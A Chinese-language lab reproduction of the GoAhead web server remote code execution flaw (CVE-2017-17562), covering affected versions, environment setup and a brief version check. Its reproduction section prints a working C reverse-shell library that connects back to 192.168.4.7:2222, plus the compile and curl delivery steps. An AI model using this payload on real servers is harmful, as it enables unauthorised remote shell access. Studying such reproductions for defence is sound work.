GoAhead Web伺服器遠端命令執行漏洞(CVE-2017-17562)漏洞復現
一、漏洞概述:
1、漏洞簡介:
GoAhead Web Server,它是一個開源(商業許可)、簡單、輕巧、功能強大、可以在多個平臺執行的嵌入式Web Server。
GoAhead Web Server是跨平臺的伺服器軟體,可以穩定地執行在Windows,Linux和Mac OS X作業系統之上。GoAhead Web Server是開放原始碼的,這意味著你可以隨意修改Web伺服器的功能。這款WEB伺服器非常小巧,它的WIN CE版本編譯後的大小還不到60k,它的輸出通常也是面向一些小螢幕裝置。在效能方面,使用一顆24MH z的68040處理器,它的響應速度為20次/秒,使用266MHz的Pentium處理器可以達到50次/秒的響應速度。
12月18日,GoAhead被爆出存在遠端命令執行漏洞。被賦予CVE編號。
該漏洞是利用伺服器初始化CGI時,使用了HTTP請求引數,使用特殊的引數名LD_PRELOAD劫持libc庫,進而實現遠端命令執行。目前GoAhead的版本已經更新到4.00版本。
2、漏洞影響版本
GoAhead Web Server < 3.6.5
不受影響版本:
GoAhead Web Server 3.6.5
GoAhead Web Server 4.0.0
二、漏洞復現
測試伺服器系統:kali;監聽系統:windows 10 ;攻擊系統:centos 6.5
1、 在搭建GoAhead 3.6.4漏洞環境
首先獲得存在漏洞版本的原始碼。
cd goahead
git checkout tags/v3.6.4 –q
編譯GoAhead及用來測試的CGI檔案
make
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
執行GoAhead Web伺服器
sudo ../build/linux-x64-default/bin/goahead
2、獲得可以利用的payload
構造payload如下(goahead.c檔案):
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(2222);
attacker_addr.sin_addr.s_addr = inet_addr("192.168.4.7");
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/sh", 0, 0);
}
編譯成.so檔案
gcc -shared -fPIC ./payload.c -o payload.so
開啟埠監聽,
3、使用curl傳送以下payload到目標伺服器
curl -X POST --data-binary @payload.so
4、執行結果
當對伺服器進行攻擊時,監聽埠獲得伺服器的最高許可權,可以進行遠端命令執行:
三、漏洞影響
1、通過fofa搜尋結果顯示:
可以看出,goahead在我國以及全球範圍內,都有使用的物件,而且數量不在少數。
2、自我防護
2.1 受影響版本檢測
2.1.1 該漏洞影響linux伺服器上開啟動態連結可執行檔案的使用者。如果版本低於3.6.5,輸入
./goahead --version
進行手工檢測。
其他防護的方法,請檢視: